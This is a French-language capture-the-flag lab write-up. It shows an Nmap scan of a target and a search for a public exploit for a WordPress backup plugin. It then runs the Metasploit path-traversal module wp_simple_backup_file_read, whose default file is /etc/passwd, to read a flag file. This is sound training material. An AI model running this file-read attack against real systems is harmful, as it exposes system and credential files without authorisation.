Public Exploits

Une fois que nous avons identifié les services fonctionnant sur les ports identifiés par notre scan Nmap, la première étape consiste à vérifier si l'une de ces applications/services présente des exploits publics. Les exploits publics peuvent être trouvés pour des applications web et d'autres applications fonctionnant sur des ports ouverts, comme SSH ou ftp.

Scan de la machine cible :

$ nmap -sC -sV "94.xxx.xxx.xxx"    
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-14 22:47 CEST
Nmap scan report for 94.xxx.xxx.xxx
Host is up (0.0096s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
111/tcp   open  rpcbind 2-4 (RPC #100000)
34572/tcp open  http    nginx 1.19.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.42 seconds

Voici l'ensemble des ports ouverts concernant notre machine cible :

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
111/tcp   open  rpcbind 2-4 (RPC #100000)
34572/tcp open  http    nginx 1.19.2

Accès à la page WEB de notre cible :

Accès au site cible

Suite à l'accès au site WEB de notre cible, on peut se rendre compte que celle-ci évoque un système de backup ayant la version 2.7.10 pour WordPress. Nous effectuons donc quelques recherches afin d'avoir davantage d'informations concernant la version de ce plugin de backup.

Résultat obtenu suite à la recherche Internet (Backup Plugin 2.7.10 for WordPress exploit) :

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_simple_backup_file_read/

Le site nous mentionne la possibilité de récupérer des informations sur notre hôte cible en utilisant wp_simple_backup_file_read .

Utilisation de Metasploit concernant wp_simple_backup_file_read et visualisation des options disponibles :

$ msfconsole
msf6 > use auxiliary/scanner/http/wp_simple_backup_file_read
msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > options

Module options (auxiliary/scanner/http/wp_simple_backup_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      6                yes       Traversal Depth (to reach the root folder)
   FILEPATH   /etc/passwd      yes       The path to the file to read
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/usin
                                         g-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

Modification des options disponibles :

msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > set rhosts 94.xxx.xxx.xxx
rhosts => 94.xxx.xxx.xxx

msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > set rport 53387
rport => 53387

msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > set filepath flag.txt
filepath => flag.txt

Vérification de la bonne prise en compte de la modification des options :

msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > options 
Module options (auxiliary/scanner/http/wp_simple_backup_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      6                yes       Traversal Depth (to reach the root folder)
   FILEPATH   flag.txt         yes       The path to the file to read
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     94.xxx.xxx.xxx     yes       The target host(s), see https://docs.metasploit.com/docs/usin
                                         g-metasploit/basics/using-metasploit.html
   RPORT      53387            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

Execution de l'exploit :

msf6 auxiliary(scanner/http/wp_simple_backup_file_read) > run

[+] File saved in: /root/.msf4/loot/20250615004857_default_94.237.55.43_simplebackup.tra_491598.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Lors de l'exécution de l'exploit, nous observons qu'un fichier à été sauvegardé à l'emplacement /root/.msf4/loot/20250615004857_default_94.237.55.43_simplebackup.tra_491598.txt. Nous lisons donc le contenu de ce fichier afin d'obtenir le flag :

HTB{my_f1r57_h4ck}

Mis à jour